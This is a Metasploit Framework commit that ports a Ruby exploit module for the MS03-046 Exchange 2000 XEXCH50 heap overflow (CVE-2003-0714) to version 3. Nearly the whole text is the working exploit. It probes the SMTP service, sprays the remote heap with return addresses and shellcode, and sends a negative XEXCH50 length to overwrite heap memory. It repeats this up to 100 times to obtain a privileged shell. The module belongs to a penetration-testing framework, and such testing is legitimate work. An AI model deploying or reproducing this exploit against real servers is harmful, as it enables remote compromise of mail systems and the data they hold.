Ported hdm's exchange2000_xexch50 module to version 3.
git-svn-id: file:///home/svn/framework3/trunk@7592 4d416f70-5f16-0410-b530-b9f4589650daunstable
Patrick Webster
parent
99319d2a55
commit
796e8cdfc3
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@ -4,7 +4,6 @@ Unfinished modules
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arkeia_agent_access
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calicclnt_getconfig
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calicserv_getconfig
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exchange2000_xexch50
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gnu_mailutils_imap4d
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hpux_ftpd_preauth_list
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iis_source_dumper
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@ -55,6 +54,7 @@ Completed modules
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edirectory_imonitor2 exploit/windows/http/edirectory_host
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eiq_license exploit/windows/misc/eiqnetworks_esa
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eudora_imap exploit/windows/imap/eudora_list
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exchange2000_xexch50 exploit/windows/smtp/ms03_046_exchange2000_xexch50
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firefox_queryinterface_linux exploit/multi/browser/firefox_queryinterface
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firefox_queryinterface_osx exploit/multi/browser/firefox_queryinterface
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freeftpd_user exploit/windows/ftp/freeftpd_user
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@ -0,0 +1,224 @@
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'MS03-046 Exchange 2000 XEXCH50 Heap Overflow',
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'Description' => %q{
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This is an exploit for the Exchange 2000 heap overflow. Due
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to the nature of the vulnerability, this exploit is not very
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reliable. This module has been tested against Exchange 2000
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SP0 and SP3 running a Windows 2000 system patched to SP4. It
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normally takes between one and 100 connection attempts to
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successfully obtain a shell. This exploit is *very* unreliable.
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},
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'Author' => [
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'hdm', # original module
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'patrick', # msf3 port :)
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],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2003-0714' ],
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[ 'BID', '8838' ],
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[ 'OSVDB', '2674' ],
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[ 'MSB', 'MS03-046' ],
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[ 'URL', 'http://www.milw0rm.com/exploits/113' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'seh',
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},
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'Platform' => 'win',
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00\x0a\x0d\x20:=+\x22",
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'StackAdjustment' => -3500,
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},
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'Targets' =>
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[
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[ 'Exchange 2000', { 'Ret' => 0x0c900c90, 'BuffLen' => 3000, 'Offset1' => 11000, 'Offset2' => 512 } ],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Oct 15 2003'))
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register_options(
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[
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Opt::RPORT(25),
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OptString.new('MAILFROM', [ true, 'The FROM address of the e-mail', 'random@example.com']),
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OptString.new('MAILTO', [ true, 'The TO address of the e-mail', 'administrator']),
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OptInt.new('ATTEMPTS', [ true, 'The number of exploit attempts before halting', 100]),
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])
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end
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def check
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connect
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banner = sock.get_once
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if (banner !~ /Microsoft/)
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print_status("Target does not appear to be an Exchange server.")
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return Exploit::CheckCode::Safe
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end
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sock.put("EHLO #{Rex::Text.rand_text_alpha(1)}\r\n")
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res = sock.get_once
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if (res !~ /XEXCH50/)
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print_status("Target does not appear to be an Exchange server.")
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return Exploit::CheckCode::Safe
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end
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sock.put("MAIL FROM: #{datastore['MAILFROM']}\r\n")
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res = sock.get_once
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if (res =~ /Sender OK/)
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sock.put("RCPT TO: #{datastore['MAILTO']}\r\n")
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res = sock.get_once
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if (res =~ /250/)
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sock.put("XEXCH50 2 2\r\n")
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res = sock.get_once
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if (res !~ /Send binary data/)
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print_error("Target has been patched!")
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return Exploit::CheckCode::Detected
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else
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return Exploit::CheckCode::Appears
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end
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end
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end
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disconnect
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end
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def smtp_setup(count)
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print_status("Exploit attempt ##{count}")
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connect
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sleep(1)
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banner = sock.get_once
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print_status("Connected to SMTP server: #{banner.to_s}")
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if (banner !~ /Microsoft/)
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print_status("Target does not appear to be running Exchange.")
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return
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end
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sleep(5)
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sock.put("EHLO X\r\n")
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sleep(7)
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res = sock.get_once
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if (res !~ /XEXCH50/)
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print_status("Target is not running Exchange.")
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return
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end
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sock.put("MAIL FROM: #{datastore['MAILFROM']}\r\n")
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sleep(3)
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sock.put("RCPT TO: #{datastore['MAILTO']}\r\n")
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sleep(3)
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end
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def exploit
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bufflen = target['BuffLen']
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print_status("Trying to exploit #{target.name} with address 0x%.8x..." % target['Ret'])
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count = 1 # broke
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begin
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if (count > datastore['ATTEMPTS'])
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print_error("Exploit failed after #{datastore['ATTEMPTS']}. Set ATTEMPTS to a higher value if desired.")
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return # Stop after a specified number of attempts.
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end
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if (session_created?)
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return # Stop the attack. Non-session payloads will continue regardless up to ATTEMPTS.
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end
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while(true)
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if (smtp_setup(count))
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print_status("Connection 1: ")
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end
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sock.put("XEXCH50 2 2\r\n")
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sleep(3)
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res = sock.get(-1,3)
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print_status("#{res}")
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if (res !~ /Send binary data/)
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print_status("Target is not vulnerable.")
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return # commented out for the moment
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end
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sock.put("XX")
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print_status("ALLOC")
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size = 1024 * 1024 * 32
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sock.put("XEXCH50 #{size} 2\r\n")
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sleep(3)
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sploit = (([target['Ret']].pack('V')) * 256 * 1024 + payload.encoded + ("X" * 1024)) * 4 + "BEEF"
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print_status("Uploading shellcode to remote heap.")
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if (sock.put(sploit))
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print_status("\tOK.")
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end
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print_status("Connection 2: ")
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smtp_setup(count) # Connection 2
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sock.put("XEXCH50 -1 2\r\n") # Allocate negative value
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sleep(2)
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res = sock.get_once
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if (!res)
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print_status("Error - no response")
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end
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print_status("OK")
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bufflen += target['Offset2']
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if (bufflen > target['Offset1'])
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bufflen = target['BuffLen']
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end
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heapover = [target['Ret']].pack('V') * bufflen
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print_status("Overwriting heap with payload jump (#{bufflen})")
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sock.put(heapover)
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print_status("Starting reconnect sequences...")
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10.times do |x|
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print_status("Connect #{x}")
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connect
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sock.put("HELO X\r\n")
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disconnect
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end
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end
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rescue
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print_status("Unable to connect or Exchange has crashed... Retrying.")
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count += 1
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retry
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end
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disconnect
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end
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end
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